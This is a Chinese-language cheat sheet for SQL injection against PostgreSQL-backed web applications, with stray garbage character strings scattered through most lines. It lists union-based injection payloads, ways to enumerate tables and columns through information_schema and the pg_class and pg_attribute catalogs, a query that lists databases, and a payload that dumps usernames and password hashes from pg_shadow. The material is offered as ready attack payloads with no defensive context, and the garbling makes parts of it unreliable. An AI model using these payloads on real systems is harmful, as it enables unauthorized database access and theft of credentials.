结合了MSSQL MySQL Oracle的一些特点
- D) M. {) d/ z1 p* F8 `支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
2 O# ]8 B- y& H F1 X连接符: %20 , + , /**/ 内置函数:
- n. W0 u' B* o# A: }$ Wcurrent_database() //当前数据库名" r% o, d, A, C# U: p I/ I8 [
session_user //会话用户
8 e4 G- F p* `% `* a0 R6 m) k. F0 Ecurrent_user //当前数据库用户" y/ u$ C& X1 u! E7 V8 K8 ]0 p
user //当前用户3 N' H' F# l. L& ], j; W& e
version() //数据库版本 Union注射:
3 c; R/ x9 `3 Z$ ^' T- N6 Torder by n–: Y8 b8 Z) n @: O$ q+ h
and 1=2 union select null,null,null–
8 }4 ]; v! ^$ ?/ x& ?. Cand 1=2 union select ‘beach’,null,null–
: I% e9 U/ S, t" Nand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
4 N5 _) G7 o% r4 Rgroup_concat(table_name)
4 J: M! ^" i) W: wand 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–2 b) E+ _8 I. T+ I
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–; M& A( ~) ^( V
(老版本)
2 |8 |* `# b1 c- }& u( Wpg_class.oid对应pg_attribute.attrelid
7 a% Z" h5 y. o5 jpg_class.relname表名( q# f' L l$ K8 V5 w7 N3 V1 K7 Q
pg_attribute.attname字段名 select relname from pg_class获取表名
9 Z# ?- a# f& u% X" l0 dselect oid from pg_class where 条件 获取参数) U# T7 j u. ?4 O, M% ~
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:9 q0 o% N5 L; _ [1 n; u
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表( b- E+ `, W9 P) c5 C) T$ g8 E5 d# |
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
; A" C! A9 V9 x D* N# L* E5 u5 o由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名0 Y7 c4 l. P( u4 [8 ^* j5 B& ]
======================================================================6 }8 I0 ?- x+ e8 W0 F( T
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
. d2 B3 D* k' Y2 U. aand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |